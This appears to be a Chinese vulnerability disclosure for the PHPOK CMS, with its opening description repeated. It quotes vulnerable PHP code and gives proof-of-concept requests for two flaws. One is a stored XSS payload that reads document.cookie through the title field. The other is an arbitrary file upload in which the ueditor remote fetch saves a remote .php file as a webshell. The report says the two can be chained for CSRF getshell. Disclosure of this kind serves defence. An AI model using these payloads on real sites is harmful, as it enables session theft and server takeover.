### 简要描述: 过滤不严格 ### 详细说明: 漏洞细节: 漏洞一:存储型XSS 漏洞文件:framework/api/post_control.php(94行) $array["title"] = $this->get("title"); .... $this->model('list')->save($array,$tid); 这里是保存用户留言内容的部分操作。$array["title"] 是获取的客户输入的主题 再来看获取过程中的过滤: (framework/init.php 第829行) //通过post或get取得数据,并格式化成自己需要的 function get($id,$type="safe",$ext="") { $val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : ""); if($val == '') return false; //判断内容是否有转义,所有未转义的数据都直接转义 $addslashes = false; if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) $addslashes = true; if(!$addslashes) $val = $this->_addslashes($val); return $this->format($val,$type,$ext); } function format($msg,$type="safe",$ext="") { .... switch ($type) { case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);break; ... } 在这里看到 整个过程中只是对title做了一次替换操作(\,',",<,>),并没有涉及到其他的字符。 再看输出点(访问地址是:admin.php?c=list&f=action&id=96&_rand=0.5493041966110468 ,需要管理员权限)...
### 简要描述: 过滤不严格 ### 详细说明: 漏洞细节: 漏洞一:存储型XSS 漏洞文件:framework/api/post_control.php(94行) $array["title"] = $this->get("title"); .... $this->model('list')->save($array,$tid); 这里是保存用户留言内容的部分操作。$array["title"] 是获取的客户输入的主题 再来看获取过程中的过滤: (framework/init.php 第829行) //通过post或get取得数据,并格式化成自己需要的 function get($id,$type="safe",$ext="") { $val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : ""); if($val == '') return false; //判断内容是否有转义,所有未转义的数据都直接转义 $addslashes = false; if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) $addslashes = true; if(!$addslashes) $val = $this->_addslashes($val); return $this->format($val,$type,$ext); } function format($msg,$type="safe",$ext="") { .... switch ($type) { case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);break; ... } 在这里看到 整个过程中只是对title做了一次替换操作(\,',",<,>),并没有涉及到其他的字符。 再看输出点(访问地址是:admin.php?c=list&f=action&id=96&_rand=0.5493041966110468 ,需要管理员权限) 所以可以利用html编码方式直接绕过。 POC漏洞利用: URL:http://192.168.152.160:8080/phpok/api.php?c=post&f=save POST:id=book&fullname=asd&email=asd&content=asd&_chkcode=ejwh&title=111');alert(document.cookie);// 漏洞本地证明: [<img src="https://images.seebug.org/upload/201409/04214056ec5e3440df60bb043d51bd6cb0cfcc82.png" alt="t012e3e28d56432f723.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04214056ec5e3440df60bb043d51bd6cb0cfcc82.png) [<img src="https://images.seebug.org/upload/201409/042140385dc7ac8140385b3996dd00b376aca9cc.png" alt="t01d4d9e12b478721cc.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/042140385dc7ac8140385b3996dd00b376aca9cc.png) 漏洞二:任意文件上传 漏洞文件:framework/api/ueditor_control.php(243行) function remote_f() { .... $arraylist = array("jpg","gif","png","jpeg"); ....... if(strtolower(substr($imgUrl,0,10)) == 'data:image') { 。。。 } else{ if(strpos($imgUrl,"http")!==0) { array_push( $tmpNames , "error" ); continue; } $content = $this->lib('html')->get_content($imgUrl); $tmp_title = basename($imgUrl); $new_filename = substr(md5($imgUrl),9,16)."_".rand(0,99)."_".$key; $fileType = strtolower( strrchr( $imgUrl , '.' )); $ext = substr($fileType,1); if(!$ext) $ext = "png"; } if(!$content) { array_push( $tmpNames , "error" ); continue; } $save_folder = $this->dir_root.$cate_rs['folder']; $newfile = $save_folder.$new_filename.".".$ext; $this->lib('file')->save_pic($content,$newfile); 从头到尾$ext 没有进行白名单过滤($arraylist 这个就是白名单)。这样就导致任意文件上传。(需要后台管理权限) POC漏洞利用链接: api.php?c=ueditor&f=remote&upfile=http://192.168.152.160:8080/info.php upfile的值只要是一个远程地址,后缀为php,输出内容就是shell内容即可。 漏洞本地证明: [<img src="https://images.seebug.org/upload/201409/0421402745f6b331306fe5e790410c07307309dc.png" alt="t01cf63446925cd48e4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0421402745f6b331306fe5e790410c07307309dc.png) [<img src="https://images.seebug.org/upload/201409/042140501b0e799907feca42fba2f5c1bd8f2a5f.png" alt="t01fd62ec3eab5aa07f.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/042140501b0e799907feca42fba2f5c1bd8f2a5f.png) 结合两个漏洞可以直接对网站 CSRF getshell ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/04214056ec5e3440df60bb043d51bd6cb0cfcc82.png" alt="t012e3e28d56432f723.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04214056ec5e3440df60bb043d51bd6cb0cfcc82.png) [<img src="https://images.seebug.org/upload/201409/042140385dc7ac8140385b3996dd00b376aca9cc.png" alt="t01d4d9e12b478721cc.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/042140385dc7ac8140385b3996dd00b376aca9cc.png) [<img src="https://images.seebug.org/upload/201409/0421402745f6b331306fe5e790410c07307309dc.png" alt="t01cf63446925cd48e4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0421402745f6b331306fe5e790410c07307309dc.png) [<img src="https://images.seebug.org/upload/201409/042140501b0e799907feca42fba2f5c1bd8f2a5f.png" alt="t01fd62ec3eab5aa07f.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/042140501b0e799907feca42fba2f5c1bd8f2a5f.png)